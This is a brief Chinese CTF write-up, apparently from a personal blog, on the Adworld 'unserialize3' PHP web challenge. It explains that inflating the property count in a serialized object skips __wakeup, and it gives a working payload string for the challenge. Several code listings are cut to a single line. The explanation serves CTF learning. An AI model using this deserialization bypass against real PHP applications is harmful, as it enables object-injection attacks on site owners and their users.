攻防世界16-unserialize3-Web
攻防世界16-unserialize3-CTFWeb进阶
根据题意,很明显是反序列化,反序列化的知识可以自己查,PHP 反序列化基础 - Hello CTF (hello-ctf.com)也行
1 | class xctf{ |
以下是ctf中常用的方法:
1 | __wakeup() //------ 执行unserialize()时,先会调用这个函数 |
也就是说我们要绕过wakeup方法,最后要在code中返回结果。
介绍一下(来自攻防世界wp)
1 |
|
输出为
1 | O:7:"Student":3:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}} |
这里补充一个知识点:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
因此”Student”:3:改成5就能绕过
同样的在这题
把1改成2就行
payload=?code=O:4:”xctf”:2:{s:4:”flag”;s:3:”111”;}
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Matriy's blog!
评论